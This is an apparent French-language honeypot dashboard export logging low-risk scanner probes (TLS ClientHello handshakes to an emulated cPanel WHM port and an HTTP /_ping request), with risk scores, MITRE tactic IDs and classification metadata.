|
|
TCP |
2087 · CPANEL WHM
|
cpanel-whm
|
Sonde PostgreSQL
postgres probe · via CPANEL WHM:2087 · (sonde / probe)
|
Élevée
|
Faible · 35
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
CPANEL-WHM
WAF
—
Recommandation
Surveiller
Tags
cpanel_whm_emulated
cpanel_whm_payload
net_cpanel_probe
tls_clienthello
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
2087
Chemin / cible
—
Service
CPANEL WHM
Payload
� ��3(%=��f��~{#���}��,ɗ�y�J��� d�N�F�\K*R�ܘA ��Ze(��6�+Ե�� �+�/�,�0̨̩� �� � [ �
Pourquoi cette classification : Type « postgres_probe » (signaux protocolaires) · confiance 49%
Confiance classification
49%
Confiance modérée — signal unique
Risque capteur
Faible
· 35
Confiance : Confiance 49 % — Motif catalogue confirmé
Protocole émulé
1
Signaux
pat-0369
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
PostgreSQL startup
STUN binding
Minecraft varint handshake
SOCKS5 greeting
SIP TLS ClientHello
TFTP RRQ
User-Agent
—
Règles WAF
—
Payload (extrait)
� ��3(%=��f��~{#���}��,ɗ�y�J��� d�N�F�\K*R�ܘA ��Ze(��6�+Ե�� �+�/�,�0̨̩� ��
� [ �
Requête brute (extrait)
� ��3(%=��f��~{#���}��,ɗ�y�J��� d�N�F�\K*R�ܘA ��Ze(��6�+Ե�� �+�/�,�0̨̩� �� � [ � � 2 + 3�����hۯS��G�w�6rw4�; �C��Z�8
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206370737276642f31312e3131300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2033380d0a0d0a3c68746d6c3e3c626f64793e6350616e656c204c6f67696e3c2f626f64793e3c2f68746d6c3e",
"emulator_response_len": 125,
"bytes_in": 1479,
"payload_entropy": 7.781508657683935,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "cpanel-whm",
"app_proto": "cpanel-whm",
"asn": 215925,
"country": "US",
"dst_port": 2087,
"risk_waf": 8,
"risk_classification": 32,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 3,
"risk_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 15
},
"risk_score": 35,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "51584d32aeb6bcba72953119cc78a0e0836a8f64",
"event_fingerprint": "bd94c1be47794e5b05816ea1bc287e14296ba082",
"classification_reason": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%",
"confidence": 0.49,
"classification_confidence": 0.49,
"precision_score": 58,
"precision_signals": [
"pat-0369"
],
"kb_rule_ids": [
"pat-0369"
],
"matched_patterns": [
"pat-0369",
"pat-0771",
"pat-0554",
"pat-0567",
"pat-0578",
"pat-0536"
],
"matched_pattern_names": [
"PostgreSQL startup",
"STUN binding",
"Minecraft varint handshake",
"SOCKS5 greeting",
"SIP TLS ClientHello",
"TFTP RRQ"
],
"pattern_ids": [
"pat-0369",
"pat-0771",
"pat-0554",
"pat-0567",
"pat-0578",
"pat-0536"
],
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 15,
"risk_score": 35
},
"named_classification_skipped": false,
"service_name": "cpanel-whm",
"risk_confidence_factor": 49,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "60dd2c22c422052a599bbaf6a286ef9c",
"path_pattern_hash": "80f3c71fe26f36a0a9399108643f66c5"
},
"target_context": {
"dst_port": 2087,
"service": "cpanel-whm",
"service_name": "cpanel-whm",
"risk_score": 35
},
"payload_snippet": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\ufffd3(%=\ufffd\ufffdf\ufffd\ufffd~{#\ufffd\ufffd\u0002\ufffd}\ufffd\u0015\ufffd,\u0257\ufffdy\ufffdJ\ufffd\ufffd\ufffd d\ufffdN\ufffdF\ufffd\\K*R\u000e\ufffd\u0718A\f\ufffd\ufffdZe(\ufffd\ufffd6\ufffd+\u0535\u0002\ufffd\ufffd\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000",
"evidence": {
"request_sample": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\ufffd3(%=\ufffd\ufffdf\ufffd\ufffd~{#\ufffd\ufffd\u0002\ufffd}\ufffd\u0015\ufffd,\u0257\ufffdy\ufffdJ\ufffd\ufffd\ufffd d\ufffdN\ufffdF\ufffd\\K*R\u000e\ufffd\u0718A\f\ufffd\ufffdZe(\ufffd\ufffd6\ufffd+\u0535\u0002\ufffd\ufffd\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000\u0005\u0000\u0005\u0001\u0000\u0000\u0000\u0000\u0000\n\u0000\f\u0000\n\u0011\ufffd\u0000\u001d\u0000\u0017\u0000\u0018\u0000\u0019\u0000\r\u0000\u0016\u0000\u0014\b\u0004\u0004\u0003\b\u0007\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0005\u0003\u0006\u0003\u00002\u0000\u001a\u0000\u0018\b\u0004\u0004\u0003\b\u0007\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0005\u0003\u0006\u0003\u0002\u0001\u0002\u0003\u0000+\u0000\u0005\u0004\u0003\u0004\u0003\u0003\u00003\u0004\ufffd\u0004\ufffd\u0011\ufffd\u0004\ufffd\u000f\b\ufffdh\u06efS\u001a\ufffd\ufffdG\ufffdw\ufffd6rw4\ufffd;\r\ufffdC\ufffd\ufffdZ\ufffd8",
"payload_snippet": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\ufffd3(%=\ufffd\ufffdf\ufffd\ufffd~{#\ufffd\ufffd\u0002\ufffd}\ufffd\u0015\ufffd,\u0257\ufffdy\ufffdJ\ufffd\ufffd\ufffd d\ufffdN\ufffdF\ufffd\\K*R\u000e\ufffd\u0718A\f\ufffd\ufffdZe(\ufffd\ufffd6\ufffd+\u0535\u0002\ufffd\ufffd\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000",
"classification_reason": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "75feb75e6cc17226fde4b088104ba68f94843cc9",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\ufffd3(%=\ufffd\ufffdf\ufffd\ufffd~{#\ufffd\ufffd\u0002\ufffd}\ufffd\u0015\ufffd,\u0257\ufffdy\ufffdJ\ufffd\ufffd\ufffd d\ufffdN\ufffdF\ufffd\\K*R\u000e\ufffd\u0718A\f\ufffd\ufffdZe(\ufffd\ufffd6\ufffd+\u0535\u0002\ufffd\ufffd\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000",
"port": 2087,
"service": "cpanel-whm",
"service_label_fr": "CPANEL WHM"
},
"evidence_snippet": "\ufffd\ufffd\ufffd3(%=\ufffd\ufffdf\ufffd\ufffd~{#\ufffd\ufffd\ufffd}\ufffd\ufffd,\u0257\ufffdy\ufffdJ\ufffd\ufffd\ufffd d\ufffdN\ufffdF\ufffd\\K*R\ufffd\u0718A\ufffd\ufffdZe(\ufffd\ufffd6\ufffd+\u0535\ufffd\ufffd\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\ufffd\n\ufffd[\ufffd",
"attack_vector": "postgres probe \u00b7 via CPANEL WHM:2087 \u00b7 (sonde \/ probe)",
"target_port_label": "2087 \u00b7 CPANEL WHM",
"emulator_service": "cpanel-whm",
"confidence_reason": "Confiance 49 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%",
"classification_reason_label_fr": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 35\/100",
"confidence_pct": 49,
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 35,
"risk_label": "Faible",
"service_name": "cpanel-whm",
"service_label_fr": "CPANEL WHM",
"dst_port": 2087,
"protocol_emulated": true,
"tags_summary": [
"pat-0369"
],
"tags_summary_labels_fr": [
"pat-0369"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-cpanel-whm",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Confiance mod\u00e9r\u00e9e \u2014 signal unique",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\ufffd3(%=\ufffd\ufffdf\ufffd\ufffd~{#\ufffd\ufffd\u0002\ufffd}\ufffd\u0015\ufffd,\u0257\ufffdy\ufffdJ\ufffd\ufffd\ufffd d\ufffdN\ufffdF\ufffd\\K*R\u000e\ufffd\u0718A\f\ufffd\ufffdZe(\ufffd\ufffd6\ufffd+\u0535\u0002\ufffd\ufffd\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000",
"port": 2087,
"service": "cpanel-whm",
"service_label_fr": "CPANEL WHM"
},
"attack_vector": "postgres probe \u00b7 via CPANEL WHM:2087 \u00b7 (sonde \/ probe)",
"evidence_snippet": "\ufffd\ufffd\ufffd3(%=\ufffd\ufffdf\ufffd\ufffd~{#\ufffd\ufffd\ufffd}\ufffd\ufffd,\u0257\ufffdy\ufffdJ\ufffd\ufffd\ufffd d\ufffdN\ufffdF\ufffd\\K*R\ufffd\u0718A\ufffd\ufffdZe(\ufffd\ufffd6\ufffd+\u0535\ufffd\ufffd\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\ufffd\n\ufffd[\ufffd",
"target_port_label": "2087 \u00b7 CPANEL WHM",
"emulator_service": "cpanel-whm",
"confidence_reason": "Confiance 49 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 49 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "cpanel_whm",
"service_banner": "honeypot-cpanel-whm",
"service_os": "linux",
"dst_port": "2087"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"cpanel_whm_emulated",
"cpanel_whm_payload",
"net_cpanel_probe",
"tls_clienthello"
]
}
|
|
|
TCP |
2087 · CPANEL WHM
|
cpanel-whm
|
Sonde PostgreSQL
postgres probe · via CPANEL WHM:2087 · (sonde / probe)
|
Élevée
|
Faible · 35
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
CPANEL-WHM
WAF
—
Recommandation
Surveiller
Tags
cpanel_whm_emulated
cpanel_whm_payload
net_cpanel_probe
tls_clienthello
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
2087
Chemin / cible
—
Service
CPANEL WHM
Payload
� ��c��Ry�R� ��l/����v��0ӕ]J��� ��=W�'�<g��H� ���'�J��T�z �A �+�/�,�0̨̩� �� � [ �
Pourquoi cette classification : Type « postgres_probe » (signaux protocolaires) · confiance 49%
Confiance classification
49%
Confiance modérée — signal unique
Risque capteur
Faible
· 35
Confiance : Confiance 49 % — Motif catalogue confirmé
Protocole émulé
1
Signaux
pat-0369
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
PostgreSQL startup
STUN binding
Minecraft varint handshake
SOCKS5 greeting
SIP TLS ClientHello
TFTP RRQ
User-Agent
—
Règles WAF
—
Payload (extrait)
� ��c��Ry�R� ��l/����v��0ӕ]J��� ��=W�'�<g��H� ���'�J��T�z �A �+�/�,�0̨̩� ��
� [ �
Requête brute (extrait)
� ��c��Ry�R� ��l/����v��0ӕ]J��� ��=W�'�<g��H� ���'�J��T�z �A �+�/�,�0̨̩� �� � [ � � 2 + 3�����Hs �0�ZnCiJ �&�*��[ ̓%r��yL
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206370737276642f31312e3131300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2033380d0a0d0a3c68746d6c3e3c626f64793e6350616e656c204c6f67696e3c2f626f64793e3c2f68746d6c3e",
"emulator_response_len": 125,
"bytes_in": 1479,
"payload_entropy": 7.69812580391513,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "cpanel-whm",
"app_proto": "cpanel-whm",
"asn": 215925,
"country": "US",
"dst_port": 2087,
"risk_waf": 8,
"risk_classification": 32,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 3,
"risk_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 15
},
"risk_score": 35,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "51584d32aeb6bcba72953119cc78a0e0836a8f64",
"event_fingerprint": "bd94c1be47794e5b05816ea1bc287e14296ba082",
"classification_reason": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%",
"confidence": 0.49,
"classification_confidence": 0.49,
"precision_score": 58,
"precision_signals": [
"pat-0369"
],
"kb_rule_ids": [
"pat-0369"
],
"matched_patterns": [
"pat-0369",
"pat-0771",
"pat-0554",
"pat-0567",
"pat-0578",
"pat-0536"
],
"matched_pattern_names": [
"PostgreSQL startup",
"STUN binding",
"Minecraft varint handshake",
"SOCKS5 greeting",
"SIP TLS ClientHello",
"TFTP RRQ"
],
"pattern_ids": [
"pat-0369",
"pat-0771",
"pat-0554",
"pat-0567",
"pat-0578",
"pat-0536"
],
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 15,
"risk_score": 35
},
"named_classification_skipped": false,
"service_name": "cpanel-whm",
"risk_confidence_factor": 49,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "d7506a957636929b52e0c8b8d3650cd6",
"path_pattern_hash": "80f3c71fe26f36a0a9399108643f66c5"
},
"target_context": {
"dst_port": 2087,
"service": "cpanel-whm",
"service_name": "cpanel-whm",
"risk_score": 35
},
"payload_snippet": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\ufffdc\ufffd\ufffdRy\ufffdR\ufffd \ufffd\ufffdl\/\ufffd\ufffd\ufffd\ufffdv\ufffd\ufffd\b0\u04d5\u0005]J\ufffd\ufffd\ufffd \ufffd\ufffd=W\u0017\ufffd'\ufffd<g\ufffd\ufffdH\ufffd\t\u0005\ufffd\ufffd\ufffd'\ufffdJ\ufffd\ufffdT\ufffdz\f\ufffd\u0012A\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000",
"evidence": {
"request_sample": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\ufffdc\ufffd\ufffdRy\ufffdR\ufffd \ufffd\ufffdl\/\ufffd\ufffd\ufffd\ufffdv\ufffd\ufffd\b0\u04d5\u0005]J\ufffd\ufffd\ufffd \ufffd\ufffd=W\u0017\ufffd'\ufffd<g\ufffd\ufffdH\ufffd\t\u0005\ufffd\ufffd\ufffd'\ufffdJ\ufffd\ufffdT\ufffdz\f\ufffd\u0012A\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000\u0005\u0000\u0005\u0001\u0000\u0000\u0000\u0000\u0000\n\u0000\f\u0000\n\u0011\ufffd\u0000\u001d\u0000\u0017\u0000\u0018\u0000\u0019\u0000\r\u0000\u0016\u0000\u0014\b\u0004\u0004\u0003\b\u0007\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0005\u0003\u0006\u0003\u00002\u0000\u001a\u0000\u0018\b\u0004\u0004\u0003\b\u0007\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0005\u0003\u0006\u0003\u0002\u0001\u0002\u0003\u0000+\u0000\u0005\u0004\u0003\u0004\u0003\u0003\u00003\u0004\ufffd\u0004\ufffd\u0011\ufffd\u0004\ufffd\ufffdHs \ufffd0\ufffdZnCiJ\u001e\ufffd&\ufffd*\ufffd\ufffd[\u001e\u0343%r\ufffd\ufffdyL",
"payload_snippet": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\ufffdc\ufffd\ufffdRy\ufffdR\ufffd \ufffd\ufffdl\/\ufffd\ufffd\ufffd\ufffdv\ufffd\ufffd\b0\u04d5\u0005]J\ufffd\ufffd\ufffd \ufffd\ufffd=W\u0017\ufffd'\ufffd<g\ufffd\ufffdH\ufffd\t\u0005\ufffd\ufffd\ufffd'\ufffdJ\ufffd\ufffdT\ufffdz\f\ufffd\u0012A\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000",
"classification_reason": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "ad67b77193f04448b4dce3d36e150466d63d3a41",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\ufffdc\ufffd\ufffdRy\ufffdR\ufffd \ufffd\ufffdl\/\ufffd\ufffd\ufffd\ufffdv\ufffd\ufffd\b0\u04d5\u0005]J\ufffd\ufffd\ufffd \ufffd\ufffd=W\u0017\ufffd'\ufffd<g\ufffd\ufffdH\ufffd\t\u0005\ufffd\ufffd\ufffd'\ufffdJ\ufffd\ufffdT\ufffdz\f\ufffd\u0012A\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000",
"port": 2087,
"service": "cpanel-whm",
"service_label_fr": "CPANEL WHM"
},
"evidence_snippet": "\ufffd\ufffd\ufffdc\ufffd\ufffdRy\ufffdR\ufffd \ufffd\ufffdl\/\ufffd\ufffd\ufffd\ufffdv\ufffd\ufffd0\u04d5]J\ufffd\ufffd\ufffd \ufffd\ufffd=W\ufffd'\ufffd<g\ufffd\ufffdH\ufffd\t\ufffd\ufffd\ufffd'\ufffdJ\ufffd\ufffdT\ufffdz\ufffdA\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\ufffd\n\ufffd[\ufffd",
"attack_vector": "postgres probe \u00b7 via CPANEL WHM:2087 \u00b7 (sonde \/ probe)",
"target_port_label": "2087 \u00b7 CPANEL WHM",
"emulator_service": "cpanel-whm",
"confidence_reason": "Confiance 49 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%",
"classification_reason_label_fr": "Type \u00ab postgres_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 35\/100",
"confidence_pct": 49,
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 35,
"risk_label": "Faible",
"service_name": "cpanel-whm",
"service_label_fr": "CPANEL WHM",
"dst_port": 2087,
"protocol_emulated": true,
"tags_summary": [
"pat-0369"
],
"tags_summary_labels_fr": [
"pat-0369"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-cpanel-whm",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Confiance mod\u00e9r\u00e9e \u2014 signal unique",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0005\ufffd\u0001\u0000\u0005\ufffd\u0003\u0003\ufffdc\ufffd\ufffdRy\ufffdR\ufffd \ufffd\ufffdl\/\ufffd\ufffd\ufffd\ufffdv\ufffd\ufffd\b0\u04d5\u0005]J\ufffd\ufffd\ufffd \ufffd\ufffd=W\u0017\ufffd'\ufffd<g\ufffd\ufffdH\ufffd\t\u0005\ufffd\ufffd\ufffd'\ufffdJ\ufffd\ufffdT\ufffdz\f\ufffd\u0012A\u0000\u001a\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\u0013\ufffd\n\ufffd\u0014\u0013\u0001\u0013\u0002\u0013\u0003\u0001\u0000\u0005[\u0000\u000b\u0000\u0002\u0001\u0000\ufffd\u0001\u0000\u0001\u0000\u0000\u0017\u0000\u0000\u0000\u0012\u0000\u0000\u0000",
"port": 2087,
"service": "cpanel-whm",
"service_label_fr": "CPANEL WHM"
},
"attack_vector": "postgres probe \u00b7 via CPANEL WHM:2087 \u00b7 (sonde \/ probe)",
"evidence_snippet": "\ufffd\ufffd\ufffdc\ufffd\ufffdRy\ufffdR\ufffd \ufffd\ufffdl\/\ufffd\ufffd\ufffd\ufffdv\ufffd\ufffd0\u04d5]J\ufffd\ufffd\ufffd \ufffd\ufffd=W\ufffd'\ufffd<g\ufffd\ufffdH\ufffd\t\ufffd\ufffd\ufffd'\ufffdJ\ufffd\ufffdT\ufffdz\ufffdA\ufffd+\ufffd\/\ufffd,\ufffd0\u0329\u0328\ufffd\t\ufffd\ufffd\n\ufffd[\ufffd",
"target_port_label": "2087 \u00b7 CPANEL WHM",
"emulator_service": "cpanel-whm",
"confidence_reason": "Confiance 49 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 49 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "cpanel_whm",
"service_banner": "honeypot-cpanel-whm",
"service_os": "linux",
"dst_port": "2087"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"cpanel_whm_emulated",
"cpanel_whm_payload",
"net_cpanel_probe",
"tls_clienthello"
]
}
|
|
|
TCP |
12376 · HTTP
|
http
|
http
http · via HTTP:12376 · (sonde / probe) · → /_ping
|
Moyenne
|
Faible · 35
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
GET /_ping UA Go-http-client/1.1
Émulateur
HTTP
WAF
0
Recommandation
Surveiller
Tags
http_ua_suspicious
Cible HTTP
GET
/_ping
TLS SNI
—
Capteur
paris-1
|
Méthode
GET
Port
12376
Chemin / cible
/_ping
Pourquoi cette classification : Type « http » (signaux protocolaires) · confiance 58%
Confiance classification
58%
Risque capteur
Faible
· 35
Confiance : Confiance 58 % — Score WAF 8
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Ligne de requête
GET /_ping HTTP/1.1
User-Agent
Go-http-client/1.1
Règles WAF
—
Payload (extrait)
GET /_ping HTTP/1.1
Host: 62.3.50.33:12376
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
Connection: close
Meta JSON brut
{
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "c3e68bb8f388240c7ecaebb8bcb80a85536526f2",
"http_host_hash": "d85783a0d3edbdcfc7e9c1bf81a2bab776fc1dc2",
